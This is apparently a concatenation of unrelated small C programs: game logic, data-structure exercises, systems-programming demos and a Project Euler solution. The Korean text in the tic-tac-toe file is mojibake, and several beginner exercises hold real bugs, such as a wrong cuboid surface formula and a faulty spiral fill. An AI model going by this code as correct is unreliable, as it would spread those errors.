/* * strings.c * bouncingbots * * Created by David Reed on 5/2/12. * Copyright 2012 David Reed. All rights reserved. * */ #include "strings.h" #include "board.h" #include <stdlib.h> #include <stdio.h> #include <string.h> #include <limits.h> #include <ctype.h> char *read_token(const char *str, bb_cell *out_cell, bb_bool *out_bool); char *read_cell(const char *str, bb_cell *out_cell, bb_bool *out_bool, bb_pawn *out_pawn); char *skip_whitespace (const char *chrptr); char *append_char(char *instr, char aChar, size_t *size, size_t *position); char *append_integer(char *instr, int anInt, size_t *size, size_t *position); bb_move_set *bb_create_move_set_from_string(const char *str, unsigned length) { unsigned len = (length % 2 == 0) ? length : length - 1; unsigned i; bb_move_set *set = bb_move_set_alloc(len / 2); for (i = 0; i < len; i+=2) { char c = str[i]; bb_move move = {0, 0}; if (c == 'r') move.pawn = BB_PAWN_RED; else if (c == 'b') move.pawn = BB_PAWN_BLUE; else if (c == 'g') move.pawn = BB_PAWN_GREEN; else if (c == 'y') move.pawn = BB_PAWN_YELLOW; else if (c == 's') move.pawn = BB_PAWN_SILVER; else { bb_move_set_dealloc(set); return NULL; } c = str[i + 1]; if (c == 'u') move.direction = BB_DIRECTION_UP; else if (c == 'r') move.direction = BB_DIRECTION_RIGHT; else if (c == 'd') move.direction = BB_DIRECTION_DOWN; else if (c == 'l') move.direction = BB_DIRECTION_LEFT; else { bb_move_set_dealloc(set); return NULL; } bb_move_set_add_move(set, move); } return set; } void bb_create_string_from_move_set(bb_move_set *set, unsigned char **out_str) { unsigned length = bb_move_set_length(set), i; char *pawns = " rbgys"; char *dirs = "urdl"; *out_str = malloc(length * 2 + 1); memset(*out_str, 0, length * 2 + 1); for (i = 0; i < length; i++) { bb_move move = bb_move_set_get_move(set, i); *(*out_str + i * 2) = pawns[move.pawn]; *(*out_str + (i * 2) + 1) = dirs[move.direction]; } *(*out_str + length * 2) = '\0'; } void bb_print_move_set (bb_move_set *set) { unsigned char *str; bb_create_string_from_move_set(set, &str); if (str != NULL) { printf("%s", str); free(str); } else { printf("Move set %p yielded a NULL string representation.\n", (void *)set); } } char *skip_whitespace (const char *chrptr) { char *aptr = (char *)chrptr; while ((*aptr != '\0') && isspace(*aptr)) aptr++; return aptr; } char *read_token(const char *str, bb_cell *out_cell, bb_bool *out_bool) { long token; char *cur; token = strtol(str, &cur, 0); if ((token < 0) || (token > BB_MAX_TOKEN)) { *out_bool = BB_FALSE; return cur; } out_cell->token = token; *out_bool = BB_TRUE; return cur; } char *read_cell(const char *str, bb_cell *out_cell, bb_bool *out_bool, bb_pawn *out_pawn) { char *cur = skip_whitespace(str); bb_bool success = BB_TRUE; if (*cur == '{') { /* The opening character of a cell */ cur++; while ((*cur != 0x00) && (*cur != '}') && success) { if (isspace(*cur)) ; else if (*cur == 'R') *out_pawn = BB_PAWN_RED; else if (*cur == 'B') *out_pawn = BB_PAWN_BLUE; else if (*cur == 'G') *out_pawn = BB_PAWN_GREEN; else if (*cur == 'Y') *out_pawn = BB_PAWN_YELLOW; else if (*cur == 'S') *out_pawn = BB_PAWN_SILVER; else if (*cur == '*') out_cell->block = BB_WALL; else if (*cur == '[') out_cell->wall_left = BB_WALL; else if (*cur == ']') out_cell->wall_right = BB_WALL; else if (*cur == '^') out_cell->wall_top = BB_WALL; else if (*cur == '_') out_cell->wall_bottom = BB_WALL; else if (isdigit(*cur)) { cur = read_token(cur, out_cell, &success); cur--; } else if (*cur == '/') out_cell->reflector_direction = BB_45_DEGREES; else if (*cur == '\\') out_cell->reflector_direction = BB_135_DEGREES; else if (*cur == 'r') out_cell->reflector = BB_REFLECTOR_RED; else if (*cur == 'b') out_cell->reflector = BB_REFLECTOR_BLUE; else if (*cur == 'g') out_cell->reflector = BB_REFLECTOR_GREEN; else if (*cur == 'y') out_cell->reflector = BB_REFLECTOR_YELLOW; else if (*cur == 's') out_cell->reflector = BB_REFLECTOR_SILVER; else success = BB_FALSE; cur++; } cur = skip_whitespace(cur); if (*cur != '}') { success = BB_FALSE; } else { cur++; } } else { success = BB_FALSE; } *out_bool = success; return cur; } void bb_create_board_from_string(const char *str, bb_board **b, bb_pawn_state ps) { bb_board *board; long width, height, i, j; char *cur; width = strtol(str, &cur, 0); height = strtol(cur, &cur, 0); if ((width < 1) || (height < 1) || (width > BB_MAX_DIMENSION) || (height > BB_MAX_DIMENSION)) { *b = NULL; return; } board = bb_board_alloc(width, height); if (board == NULL) { *b = NULL; return; } bb_init_pawn_state(ps); cur = skip_whitespace(cur); for (i = 0; i < height; i++) { for (j = 0; j < width; j++) { bb_bool success; bb_pawn pawn; bb_cell *cell = bb_get_cell(board, i, j); pawn = 0; cur = read_cell(cur, cell, &success, &pawn); if (!success) { bb_board_dealloc(board); *b = NULL; return; } /* Make sure we record where the pawn is */ if (pawn != 0) { ps[pawn - 1].row = i; ps[pawn - 1].col = j; } } } *b = board; } char *append_char(char *instr, char aChar, size_t *size, size_t *position) { char *ret = instr; if (instr == NULL) return NULL; if ((*size - *position) < 10) { ret = realloc(instr, *size * 2); *size *= 2; } ret[*position] = aChar; *position += 1; return ret; } char *append_integer(char *instr, int anInt, size_t *size, size_t *position) { char *ret = instr; int retval; if (instr == NULL) return NULL; if ((*size - *position) < 10) { ret = realloc(instr, *size * 2); *size *= 2; } retval = snprintf(ret + *position, *size - *position, "%d", anInt); if (retval > *size - *position) { ret = realloc(ret, *size * 2); *size *= 2; retval = snprintf(ret + *position, *size - *position, "%d", anInt); if (retval > *size - *position) { return NULL; } } *position += retval; return ret; } void bb_create_string_from_board(bb_board *board, bb_pawn_state ps, char **out_str) { size_t size = 3 + 1 + 3 + 1 + board->width * board->height * 13 + board->height; unsigned i, j; size_t position = 0; char *const pawns = " RBGYS"; char *const reflectors = " rbgys"; char *const reflector_directions = "/\\"; char *b; if (out_str == NULL) return; b = malloc(size); if (b == NULL) { *out_str = NULL; return; } memset(b, 0, size); b = append_integer(b, board->width, &size, &position); b = append_char(b, ' ', &size, &position); b = append_integer(b, board->height, &size, &position); b = append_char(b, '\n', &size, &position); for (i = 0; i < board->height; i++) { for (j = 0; j < board->width; j++) { bb_cell *cell = bb_get_cell(board, i, j); b = append_char(b, '{', &size, &position); if (cell->block == BB_WALL) b = append_char(b, '*', &size, &position); if (cell->wall_left == BB_WALL) b = append_char(b, '[', &size, &position); if (cell->wall_top == BB_WALL) b = append_char(b, '^', &size, &position); if (bb_pawn_at_location(ps, i, j) != 0) b = append_char(b, pawns[bb_pawn_at_location(ps, i, j)], &size, &position); if (cell->token != 0) b = append_integer(b, cell->token, &size, &position); if (cell->reflector != 0) b = append_char(b, reflectors[cell->reflector], &size, &position); if (cell->reflector != 0) b = append_char(b, reflector_directions[cell->reflector_direction], &size, &position); if (cell->wall_bottom == BB_WALL) b = append_char(b, '_', &size, &position); if (cell->wall_right == BB_WALL) b = append_char(b, ']', &size, &position); b = append_char(b, '}', &size, &position); } b = append_char(b, '\n', &size, &position); } *out_str = b; }
C
/* mehPL: * This is Open Source, but NOT GPL. I call it mehPL. * I'm not too fond of long licenses at the top of the file. * Please see the bottom. * Enjoy! */ #include <stdio.h> //#include "../0.97/cirBuff.h" #include _CIRBUFF_HEADER_ //I dunno about threading nor OSX interrupts, so I can't test blocking here... #define LENGTH 10 #if (defined(CIRBUFF_NO_CALLOC) && CIRBUFF_NO_CALLOC) #warning "Testing without CALLOC" cirBuff_data_t buffer[LENGTH]; #endif int main(void) { cirBuff_t BuffMan; int i, j; int byteRead; #if (defined(CIRBUFF_NO_CALLOC) && CIRBUFF_NO_CALLOC) cirBuff_init(&BuffMan, LENGTH, buffer); #else cirBuff_init(&BuffMan, LENGTH); #endif printf(" Buffer is %d bytes\n", LENGTH); printf("First, we add bytes, one by one, without blocking\n" " Then we read them all, plus two additional to test read\n" " X indicates bytes not written due to buffer being full\n" " Y indicates bytes not read due to buffer being empty\n"); for(i=0; i< 12; i++) { for(j=0; j<i; j++) { if(cirBuff_add(&BuffMan, j+'A', DONTBLOCK)) printf("X"); } printf("%d/%d bytes written/unused, writePos:%d, readPos:%d\n", j, cirBuff_availableSpace(&BuffMan), BuffMan.writePosition, BuffMan.readPosition); printf(" Rereading bytes: "); for(j=0; j<i+2; j++) { byteRead = cirBuff_get(&BuffMan); if(byteRead != CIRBUFF_RETURN_NODATA) printf("'%c' ", byteRead); else printf("Y"); } printf("\n"); } printf(" Step1 Done\n"); for(i=0; i< 12; i++) { for(j=0; j<i; j++) { cirBuff_add(&BuffMan, j+'A', DONTBLOCK); j++; cirBuff_add(&BuffMan, j+'A', DONTBLOCK); byteRead = cirBuff_get(&BuffMan); if(byteRead >= 0) printf("%c ", byteRead); else printf("0"); } printf("%d written: ", j); for(j=0; j<i+2; j++) { byteRead = cirBuff_get(&BuffMan); if(byteRead >= 0) printf("%c ", byteRead); else printf("0"); } printf("\n"); } printf(" Step2 Done\n"); printf("yup\n"); printf("length=%d, readPos=%d, writePos=%d\n", (int)BuffMan.length, (int)BuffMan.readPosition, (int)BuffMan.writePosition); printf("yup2\n"); printf("yup3\n"); printf("hardCalcNextWritePos=6\n"); //6%11); printf("nextWritePos=%d\n", (BuffMan.writePosition + 1)%(BuffMan.length)); //Learn som'n new every day... printf doesn't print until a \n is received?! printf(" Now we're testing blocking... the program should halt when\n" " The buffer is full... (Press CTRL-C to kill)\n"); //Test blocking as best we can... for(i=0; i<15; i++) { cirBuff_add(&BuffMan, i+'A', DOBLOCK); printf("%c \n", i+'A'); } #if (!defined(CIRBUFF_NO_CALLOC) || !CIRBUFF_NO_CALLOC) cirBuff_destroy(&BuffMan); #endif return 0; } /* mehPL: * I would love to believe in a world where licensing shouldn't be * necessary; where people would respect others' work and wishes, * and give credit where it's due. * A world where those who find people's work useful would at least * send positive vibes--if not an email. * A world where we wouldn't have to think about the potential * legal-loopholes that others may take advantage of. * * Until that world exists: * * This software and associated hardware design is free to use, * modify, and even redistribute, etc. with only a few exceptions * I've thought-up as-yet (this list may be appended-to, hopefully it * doesn't have to be): * * 1) Please do not change/remove this licensing info. * 2) Please do not change/remove others' credit/licensing/copyright * info, where noted. * 3) If you find yourself profiting from my work, please send me a * beer, a trinket, or cash is always handy as well. * (Please be considerate. E.G. if you've reposted my work on a * revenue-making (ad-based) website, please think of the * years and years of hard work that went into this!) * 4) If you *intend* to profit from my work, you must get my * permission, first. * 5) No permission is given for my work to be used in Military, NSA, * or other creepy-ass purposes. No exceptions. And if there's * any question in your mind as to whether your project qualifies * under this category, you must get my explicit permission. * * The open-sourced project this originated from is ~98% the work of * the original author, except where otherwise noted. * That includes the "commonCode" and makefiles. * Thanks, of course, should be given to those who worked on the tools * I've used: avr-dude, avr-gcc, gnu-make, vim, usb-tiny, and * I'm certain many others. * And, as well, to the countless coders who've taken time to post * solutions to issues I couldn't solve, all over the internets. * * * I'd love to hear of how this is being used, suggestions for * improvements, etc! * * The creator of the original code and original hardware can be * contacted at: * * EricWazHung At Gmail Dotcom * * This code's origin (and latest versions) can be found at: * * https://code.google.com/u/ericwazhung/ * * The site associated with the original open-sourced project is at: * * https://sites.google.com/site/geekattempts/ * * If any of that ever changes, I will be sure to note it here, * and add a link at the pages above. * * This license added to the original file located at: * /home/meh/_avrProjects/audioThing/65-reverifyingUnderTestUser/_commonCode_localized/cirBuff/1.00/test/main.c * * (Wow, that's a lot longer than I'd hoped). * * Enjoy! */
C
#include <stdio.h> int main(void) { int a = 10; int b = 12; printf("a & b : %d\n", a & b); printf("a ^ b : %d\n", a ^ b); printf("a | b : %d\n", a | b); printf("~a : %d\n", ~a); printf("a << 1 : %d\n", a << 1); printf("a >> 2 : %d\n", a >> 2); char ch = 128; // 0b 1000 0000 printf("ch >> 1 : %d", ch >> 1); return 0; }
C
#ifndef MELON_GFX_COMMANDS_H #define MELON_GFX_COMMANDS_H #include <melon/gfx.h> //////////////////////////////////////////////////////////////////////////////// // COMMAND BUFFER // - NOT completely thread safe. Recording is intended to be done on one thread // at a time // - Recording is blocked by consuming and vice versa, meaning you can call // submit on a consumer thread and begin recording on a recording thread, it's // just that they will not happen at the same time. //////////////////////////////////////////////////////////////////////////////// typedef struct { melon_buffer_handle buffer; size_t binding; } cb_cmd_bind_vertex_buffer_data; typedef enum { MELON_CMD_BIND_VERTEX_BUFFER, MELON_CMD_BIND_INDEX_BUFFER, MELON_CMD_BIND_PIPELINE, MELON_CMD_DRAW } cb_command_type; typedef struct cb_command { cb_command_type type; void* data; struct cb_command* next; } cb_command; typedef struct { melon_memory_arena memory; melon_draw_resources current_resources; melon_pipeline_handle current_pipeline; bool consuming; bool recording; mtx_t mtx; cb_command* first; cb_command* last; size_t num_commands; } cb_command_buffer; /** * TODO: When recording a draw command, also record required bindings, instead of making them discrete commands in the * buffer */ void cb_create(const melon_allocator_api* alloc, cb_command_buffer* cb, size_t block_size); void cb_destroy(cb_command_buffer* cb); void cb_begin_recording(cb_command_buffer* cb); void cb_end_recording(cb_command_buffer* cb); void* cb_push_command(cb_command_buffer* cb, size_t size, size_t align, cb_command_type type); void cb_reset(cb_command_buffer* cb); void cb_begin_consuming(cb_command_buffer* cb); void cb_end_consuming(cb_command_buffer* cb); cb_command* cb_pop_command(cb_command_buffer* cb); void cb_cmd_bind_vertex_buffer(cb_command_buffer* cb, melon_buffer_handle buffer, size_t binding); void cb_cmd_bind_index_buffer(cb_command_buffer* cb, melon_buffer_handle buffer); void cb_cmd_bind_pipeline(cb_command_buffer* cb, melon_pipeline_handle pipeline); void cb_cmd_draw(cb_command_buffer* cb, const melon_draw_call_params* params); #endif
C
#include <stdio.h> #include <stddef.h> // Alignment requirements // (typical 32 bit machine) // // char 1 byte // short int 2 bytes // int 4 bytes // double 8 bytes // // structure A typedef struct structa_tag { char c; short int s; } structa_t; // structure B typedef struct structb_tag { short int s; char c; int i; } structb_t; // structure C typedef struct structc_tag { char c; double d; int s; } structc_t; typedef struct structcp_tag { char c; double d; int s; }__attribute__((packed)) structcp_t; // structure D typedef struct structd_tag { double d; int s; char c; } structd_t; int main() { structa_t a_t; structb_t b_t; structc_t c_t; structcp_t cp_t; structd_t d_t; printf("sizeof(char) = %lu\n", sizeof(char)); printf("sizeof(short int) = %lu\n", sizeof(short int)); printf("sizeof(int) = %lu\n", sizeof(int)); printf("sizeof(double) = %lu\n", sizeof(double)); printf("\n\n"); printf("sizeof(structa_t(char, short int)- 3) = %lu\n", sizeof(structa_t)); printf("Addrss of - char %p short int %p\n", &a_t.c, &a_t.s); printf("offset of structa_t.c: %lu\n", (offsetof(structa_t,c))); printf("offset of structa_t.s: %lu\n", (offsetof(structa_t,s))); printf("\n\n"); printf("sizeof(structb_t(short int, char, int)- 7) = %lu\n", sizeof(structb_t)); printf("Addrss of - short int %p char %p int %p\n", &b_t.s, &b_t.c, &b_t.i); printf("offset of structb_t.s: %lu\n", offsetof(structb_t,s)); printf("offset of structb_t.c: %lu\n", offsetof(structb_t,c)); printf("offset of structb_t.i: %lu\n", offsetof(structb_t,i)); printf("\n\n"); printf("sizeof(structc_t(char, double, int)- 13) = %lu\n", sizeof(structc_t)); printf("Addrss of - char %p, double %p short int %p\n", &c_t.c, &c_t.d, &c_t.s); printf("offset of structc_t.c: %lu\n", offsetof(structc_t, c)); printf("offset of structc_t.d: %lu\n", offsetof(structc_t, d)); printf("offset of structc_t.s: %lu\n", offsetof(structc_t, s)); printf("\n\n"); printf("sizeof(structd_t(double, int , char)- 13) = %lu\n", sizeof(structd_t)); printf("Addrss of - double %p short int %p char %p\n", &d_t.d, &d_t.s, &d_t.c); printf("offset of structd_t.d: %lu\n", offsetof(structd_t,d)); printf("offset of structd_t.s: %lu\n", offsetof(structd_t,s)); printf("offset of structd_t.c: %lu\n", offsetof(structd_t,c)); printf("\n\n"); printf("packed with __attribute__((packed)) struct_name\n"); printf("sizeof(structcp_t(char, double, int)- 13) = %lu\n", sizeof(structcp_t)); printf("Addrss of - char %p, double %p short int %p\n", &cp_t.c, &cp_t.d,&cp_t.s); printf("offset of structcp_t.c: %lu\n", offsetof(structcp_t, c)); printf("offset of structcp_t.d: %lu\n", offsetof(structcp_t, d)); printf("offset of structcp_t.s: %lu\n", offsetof(structcp_t, s)); return 0; }
C
#include<stdio.h> #include <stdlib.h> #define SIZE 100; int main(int argc,char *argv[]){ int dim = atoi(argv[1]);//"3", argv[0] int a[100][100]; int circle_num = dim; int index_x; int left_up, right_down; int i, j; int number = 0; for(index_x = 0; index_x < circle_num; index_x += 2) { left_up = index_x; right_down = circle_num - 1 ; //left---->right for(i = left_up, j = 0; j <= right_down ; ++j) a[i][j] = ++number; //right--->left for(i = left_up + 1, j = right_down; j >= 0 ; --j) a[i][j] = ++number; } for(i = 0; i < dim; ++i) { for(j = 0; j < dim; ++j) { printf("%d\t", a[i][j]); } printf("\n"); } }
C
/* ƽ ҽ ڵ */ /* char ? */ #include <stdio.h> #include <stdlib.h> #include <conio.h> #include <time.h> #include <windows.h> #include <math.h> int whofirst = 0; /* İ */ int winner = 0; /* ڴ... */ int tictactoe_game();/* Լ */ int tictactoe_end(int*, int, int, int);/* Լ */ int tictactoe_whowin(int*);/* Լ */ int tictactoe() { char select = 0; SELECT_tictactoe: printf("\a"); do/* ޴ */ { system("cls"); puts("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-="); puts(" ƽ "); puts(" 1. "); puts(" 2. "); puts(" 0. "); puts("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-="); select = _getch(); } while (!(select == '1' || select == '2' || select == '0')); switch (select) { case '1':/* ڵ ̵ */ { do { puts(" ұ? ̸ 1, ǻ͸ 2 ּ."); select = _getch(); if (select == '1') { whofirst = 1; tictactoe_game(); break; } else if (select == '2') { whofirst = 2; tictactoe_game(); break; } } while (!(select == '1' || select == '2')); break; } case '2':/* */ { system("cls"); puts("ٴڿ ׷ 3*3 ĭ  ۥ ׷ 3 մ غ 𸣰ڽϴ."); puts("ƽ䰡 ٷ ̷ , ǻͿ ϴ Դϴ."); puts(" ϴ..."); _getch(); puts(" | | "); puts("--------"); puts(" | | "); puts("--------"); puts(" | | "); puts("========"); puts("ä ĭ ϼ(Űе 1~9)"); puts(""); puts(" ȭ ϴ."); puts(" ĭ鿡 Ű Űе忡 شϴ Ű ĭ äô."); puts("(, 7 8 9"); puts(" 4 5 6"); puts(" 1 2 3 ĭ մϴ)"); _getch(); puts("÷̾ ̰, ǻʹ Դϴ."); puts("÷̾ ǻʹ ư鼭 ĭ ä Ǹ, , , 밢 ٷ 3 ¸մϴ."); puts(" ƹ ä º ó˴ϴ."); puts(" ޴ ʴ ϴ. ǿ ð ˴ϴ. ¿ غ!"); _getch(); break; } case '0':/* Լ ư */ { puts(" ϰ, ޴ ̵մϴ. Ͻ÷ Y ּ."); select = _getch(); if (select == 'y' || select == 'Y') return 0; else break; } } goto SELECT_tictactoe; } int tictactoe_game() { /* */ srand((unsigned)time(NULL)); char select = 0; int slot[9] = { 0,0,0,0,0,0,0,0,0 }; /* ĭ Ȳ. 1̸ o, 2 x */ int i, j; /* for ģ */ int win = 0, lose = 0, combo = 0; /* ¸, й, ׸ */ /* ó ɱ? */ if (whofirst == 1) goto PLA_FIRST; else goto COM_FIRST; /* ü */ do { PLA_FIRST: system("cls"); for (i = 2; i > -1; i--) /* ׸, ۼѴ! */ { for (j = 0; j < 3; j++)/* پ ׸ */ { if (slot[3 * i + j] == 0) printf(""); else if (slot[3 * i + j] == 1) printf(""); else if (slot[3 * i + j] == 2) printf(""); if (j != 2)/* 3ĭ ä */ printf("|"); } if (i != 0) /* 3 ä */ printf("\n--------\n"); else printf("\n========\n"); } do/* ÷̾ */ { puts("ä ĭ ϼ(Űе 1~9)"); scanf("%d", &i); if (slot[i - 1] == 0) { slot[i - 1] = 1; tictactoe_whowin(slot); break; } else { puts("̹ ä ĭ Է ϴ."); Sleep(1000); } } while (1); if (winner == 1)/* ŻŰ */ break; if ((slot[0] != 0 && slot[1] != 0 && slot[2] != 0 && slot[3] != 0 && slot[4] != 0 && slot[5] != 0 && slot[6] != 0 && slot[7] != 0 && slot[8] != 0)) break; COM_FIRST: puts("ǻ Դϴ..."); Sleep(1000); NO: i = (rand() % 9); if (slot[i] != 0) goto NO; else slot[i] = 2; tictactoe_whowin(slot); if (winner == 2) break; if ((slot[0] != 0 && slot[1] != 0 && slot[2] != 0 && slot[3] != 0 && slot[4] != 0 && slot[5] != 0 && slot[6] != 0 && slot[7] != 0 && slot[8] != 0)) break; } while (1); /* */ if (winner == 1) { win++; combo++; } else if (winner == 2) { lose++; combo = 0; } i = tictactoe_end(slot, win, lose, combo); for (j = 0; j < 9; j++) { slot[j] = 0; } if (i == 1) { if (whofirst == 1) { whofirst = 2; goto COM_FIRST; } else if (whofirst == 2) { whofirst = 1; goto PLA_FIRST; } } else { win = 0; lose = 0; combo = 0; return 0; } } int tictactoe_end(int* slot, int win, int lose, int combo) { int i, j; char select = 0; /* */ system("cls"); for (i = 2; i > -1; i--) /* ׸, ۼѴ! */ { for (j = 0; j < 3; j++)/* پ ׸ */ { if (slot[3 * i + j] == 0) printf(""); else if (slot[3 * i + j] == 1) printf(""); else if (slot[3 * i + j] == 2) printf(""); if (j != 2)/* 3ĭ ä */ printf("|"); } if (i != 0) /* 3 ä */ printf("\n--------\n"); else printf("\n========\n"); }/* ̳ */ if ((slot[0] != 0 && slot[1] != 0 && slot[2] != 0 && slot[3] != 0 && slot[4] != 0 && slot[5] != 0 && slot[6] != 0 && slot[7] != 0 && slot[8] != 0) && winner == 0)/* ϴ. */ puts("º! Ƚϴ."); if (winner == 1)/* ¸ ޽ */ puts(" ¸Դϴ!"); else if (winner == 2)/* й ޽ */ puts(" йԴϴ."); printf("%d : ǻ %d\n", win, lose); printf(" %d !", combo); puts(""); do { puts("ٽ Ϸ Y, ׷ ʰ ޴ ư N ."); puts(": ޴ ư () ʱȭ˴ϴ!"); select = _getch(); if (select == 'y' || select == 'Y') return 1; else if (select == 'n' || select == 'N') return 0; } while (1); } int tictactoe_whowin(int* slot) { char select = 0; WHOWIN: /* ܼ(Լ Լ ) */ puts(" ..."); if (slot[6] == slot[7] && slot[7] == slot[8] && slot[6] == slot[8]) { if (slot[6] == 1) winner = 1; else if (slot[6] == 2) winner = 2; else winner = 0; } else if (slot[0] == slot[1] && slot[1] == slot[2] && slot[0] == slot[2]) { if (slot[0] == 1) winner = 1; else if (slot[0] == 2) winner = 2; else winner = 0; } else if (slot[3] == slot[4] && slot[4] == slot[5] && slot[3] == slot[5]) { if (slot[3] == 1) winner = 1; else if (slot[3] == 2) winner = 2; else winner = 0; } /* ̻ */ else if (slot[0] == slot[3] && slot[3] == slot[6] && slot[0] == slot[6]) { if (slot[0] == 1) winner = 1; else if (slot[0] == 2) winner = 2; else winner = 0; } else if (slot[1] == slot[4] && slot[4] == slot[7] && slot[1] == slot[7]) { if (slot[1] == 1) winner = 1; else if (slot[1] == 2) winner = 2; else winner = 0; } else if (slot[2] == slot[5] && slot[5] == slot[8] && slot[2] == slot[8]) { if (slot[2] == 1) winner = 1; else if (slot[2] == 2) winner = 2; else winner = 0; }/* ̻ */ else if (slot[2] == slot[4] && slot[4] == slot[6] && slot[2] == slot[6]) { if (slot[2] == 1) winner = 1; else if (slot[2] == 2) winner = 2; else winner = 0; } else if (slot[0] == slot[4] && slot[4] == slot[8] && slot[0] == slot[8]) { if (slot[0] == 1) winner = 1; else if (slot[0] == 2) winner = 2; else winner = 0; }/* ̻ 밢 */ else winner = 0;/* ƹ͵ ƴϿ */ return 0; }
C
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ lua_Number ; /* Variables and functions */ int /*<<< orphan*/ cast_uchar (char) ; scalar_t__ lisspace (int /*<<< orphan*/ ) ; int /*<<< orphan*/ lua_str2number (char const*,char**) ; int /*<<< orphan*/ lua_strx2number (char const*,char**) ; scalar_t__ strpbrk (char const*,char*) ; int luaO_str2d (const char *s, size_t len, lua_Number *result) { char *endptr; if (strpbrk(s, "nN")) /* reject 'inf' and 'nan' */ return 0; else if (strpbrk(s, "xX")) /* hexa? */ *result = lua_strx2number(s, &endptr); else *result = lua_str2number(s, &endptr); if (endptr == s) return 0; /* nothing recognized */ while (lisspace(cast_uchar(*endptr))) endptr++; return (endptr == s + len); /* OK if no trailing characters */ }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* l3d_triangle_clipping.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: ohakola <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/12/06 17:22:07 by ohakola #+# #+# */ /* Updated: 2020/12/06 18:49:08 by ohakola ### ########.fr */ /* */ /* ************************************************************************** */ #include "lib3d_internals.h" /* ** Clips a triangle that is intersecting the plane. Forms either 1 or 2 new ** triangles depending on intersection case. Vertex attributes are interpolated ** 1. Determine the clipping case (1 or 2 triangles needed) ** 2. Calculate clipping points on plane (using plane intersection) ** 3. Interpolate vertex attributes to new points ** 4. Form triangle(s) from new points */ int32_t l3d_clip_triangle(t_triangle *triangle, t_plane *plane, t_triangle *result_triangles) { int clip_case; int indices[2]; indices[0] = 4; indices[1] = 4; clip_case = l3d_triangle_clipping_case(triangle, plane, indices); if (clip_case == 2) { if (!(create_two_clipped_triangles(triangle, plane, indices, result_triangles))) return (0); return (2); } else if (clip_case == 1) { if (!(create_one_clipped_triangle(triangle, plane, indices, result_triangles))) return (0); return (1); } else { return (0); } } void l3d_set_clipped_triangles(t_vertex *vtc, t_triangle *source, t_triangle *dest_tris) { int32_t i; i = -1; ft_memcpy(&dest_tris[0], source, sizeof(t_triangle)); ft_memcpy(&dest_tris[1], source, sizeof(t_triangle)); while (++i < 3) { vtc[i].color = 0; vtc[3 + i].color = 0; ml_vector3_set_all(vtc[i].pos, 0.0); ml_vector3_set_all(vtc[3 + i].pos, 0.0); dest_tris[0].vtc[i] = &vtc[i]; dest_tris[1].vtc[i] = &vtc[3 + i]; } }
C
#include <stdio.h> //NUMBER EXERCISES int main() { double a, b, c; printf("First, the cuboid! Insert 3 numbers: \n"); scanf("%lf", &a); scanf("%lf", &b); scanf("%lf", &c); double surface = a*b*6; double volume = a*b*c; printf("Surface: %lf\n", surface); printf("Volume: %lf\n", volume); printf("Hello, Cube!\n"); int storedNum = 8; int guessNum; printf("Next: Take a guess what Patat's secret number is: \n"); scanf("%d", &guessNum); if(guessNum>storedNum) { printf("The number is lower."); } else if (guessNum<storedNum) { printf("The number is higher."); } else { printf("You found it! Great work!"); } return 0; }
C
#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <errno.h> #include <string.h> /* Illustrate execvp */ int main() { int i = 5; char *prog_argv[2]; int status; prog_argv[0] = "/home/user/Lectures/Exec/B"; prog_argv[1] = NULL; printf("%d\n",i); status = execvp(prog_argv[0],prog_argv); if (status !=0) { perror("you goofed\n"); printf("errno is %d\n",errno); exit(status); } printf("%d\n",i); }
C
#include "pthread.h" #include "stdio.h" #include "stdlib.h" #include "unistd.h" #include "semaphore.h" int n, g; sem_t s; void* f(void* a){ int el; sem_wait( &s ); g++; printf( "G:%d\n", g ); g--; sem_post( &s ); } int main(){ srand(getpid()); printf("Give n: "); scanf("%d", &n); sem_init( &s, 0, 2 ); // 1 daca e sa mosteneasca cand facem cu fork pthread_t* t = (pthread_t*) malloc (n * sizeof(pthread_t)); for( int i = 0; i < n; ++i ){ if( pthread_create( t + i, NULL, f, NULL ) < 0 ){ perror("Error creating thread"); exit(1); } } for( int i = 0; i < n; ++i ) pthread_join( t[i], NULL ); free( t ); sem_destroy( & s ); return 0; }
C
// Largest palindrome product // website: https://projecteuler.net/problem=4 // A palindromic number reads the same both ways. // The largest palindrome made from the product of two 2-digit numbers is 9009 = 91 × 99. // Find the largest palindrome made from the product of two 3-digit numbers which is less than N. // N = 997799 -> projecteuler.net // ANSWER: 906609 // Constraints: // 1 <= T <= 100 // 101101 <= N < 997799 #include <stdio.h> #include <stdlib.h> int divisibleBy3Digit(int input) { for (int i = 999; i >= 100; i--) { if ((input % i == 0) && ((input / i) <= 999) && ((input / i) >= 100)) { return 1; } } return 0; } int palindrome(int input) { int number = input * 1000; int remaining = 0; while (input > 0) { int remainder = input % 10; remaining = (remaining * 10) + remainder; input /= 10; } return (number + remaining); } int main(int argc, char *argv[]) { int t; scanf("%d", &t); while (t--) { int n; scanf("%d", &n); int firstHalf = 999; int palindromic = 0; int isDivisible = 0; for (int i = firstHalf; i >= 100; i--) { palindromic = palindrome(i); isDivisible = divisibleBy3Digit(palindromic); if ((palindromic <= n) && (isDivisible == 1)) { printf("%d\n", palindromic); break; } } } return 0; }
C
#include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct node{ int count; double frequency; char* word; struct node* leftChild; struct node* rightChild; } node; typedef struct BST{ int totalCount; struct node* root; } BST; node* newBSTNode(char* word){ node* newNode; newNode = malloc(sizeof(node)); char* temp = malloc(strlen(word) + 1); strcpy(temp, word); newNode->word = temp; newNode->count = 1; newNode->frequency = 0; newNode->leftChild = NULL; newNode->rightChild = NULL; return newNode; } node* insert(node* root, char* word){ if(root == NULL) return newBSTNode(word); else if(strcmp(word, root->word) == 0){ //If the word already exists, just increase the count by one root->count++; } else if(strcmp(word, root->word) < 0){ root->leftChild = insert(root->leftChild, word); } else{ root->rightChild = insert(root->rightChild, word); } return root; } BST* newBST(){ BST* tree = malloc(sizeof(BST)); tree->root = NULL; tree->totalCount = 0; return tree; } void printTreeHelper(node* root){ if(root != NULL){ 